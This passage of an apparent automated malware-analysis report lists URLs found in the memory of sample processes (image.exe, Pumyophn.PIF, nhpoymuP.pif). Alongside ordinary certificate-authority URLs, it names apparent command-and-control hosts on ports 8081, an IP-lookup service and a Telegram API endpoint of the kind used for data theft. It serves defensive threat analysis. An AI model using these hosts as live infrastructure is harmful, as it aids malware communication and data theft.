0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://anotherarmy.dns.army:8081
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
            Source: nhpoymuP.pif, 00000003.00000002.1986029241.000000002F777000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndnL
            Source: nhpoymuP.pif, 00000003.00000002.1986029241.000000002F78B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.com
            Source: nhpoymuP.pif, 00000003.00000002.1986029241.000000002F78B000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F777000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org
            Source: nhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/
            Source: nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/q
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A705000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A76E000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2962865197.00000000240DD000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2974026107.0000000028E02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
            Source: nhpoymuP.pif, 00000007.00000002.2973878513.000000002A705000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.2395212364.0000000028E5E000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2974026107.0000000028E02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
            Source: image.exe, 00000000.00000003.1709845321.000000007FCEA000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1744877081.0000000021E00000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1709354096.0000000022711000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020AD0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif.0.drString found in binary or memory: http://crl.comodoca.com/COMODOCodeSigningCA2.crl0r
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A705000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2974026107.0000000028E02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://mail.techniqueqatar.com
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A705000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A76E000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2962865197.00000000240DD000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2974026107.0000000028E02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
            Source: image.exe, 00000000.00000003.1709845321.000000007FCEA000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1744877081.0000000021E00000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1709354096.0000000022711000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020AD0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif.0.drString found in binary or memory: http://ocsp.comodoca.com0$
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0A
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0X
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027C70000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2973878513.000000002A705000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000026081000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2974026107.0000000028E02000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0
            Source: image.exe, 00000000.00000002.1741511764.0000000020B27000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020B5B000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.000000002192E000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1703150557.00000000218D1000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000003.1825967766.00000000008DD000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020BAD000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://ocsp.sectigo.com0C
            Source: nhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027AC1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964743999.0000000025CE9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973237198.00000000284D0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025ED1000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000003.1919537764.00000000240BC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://varders.kozow.com:8081
            Source: image.exe, 00000000.00000003.1709845321.000000007FCEA000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1744877081.0000000021E00000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000003.1709354096.0000000022711000.00000004.00000020.00020000.00000000.sdmp, image.exe, 00000000.00000003.1702655270.000000007E8B0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1746460570.000000007EB80000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1741511764.0000000020AD0000.00000004.00001000.00020000.00000000.sdmp, image.exe, 00000000.00000002.1745877801.00000000227BB000.00000004.00000020.00020000.00000000.sdmp, Pumyophn.PIF, 00000004.00000002.1861657650.0000000020AE0000.00000004.00001000.00020000.00000000.sdmp, nhpoymuP.pif.0.drString found in binary or memory: http://www.pmail.com0
            Source: nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E46000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2969311165.0000000028E14000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027224000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2968587842.0000000027256000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BA7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FBE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
            Source: nhpoymuP.pif, 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2965124892.0000000027840000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 00000007.00000002.2966303963.0000000027BA7000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 00000007.00000003.1832441776.0000000025817000.00000004.00000020.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2964961500.0000000025FBE000.00000004.00000800.00020000.00000000.sdmp, nhpoymuP.pif, 0000000E.00000002.2973060913.0000000028470000.00000004.08000000.00040000.00000000.sdmp, nhpoymuP.pif, 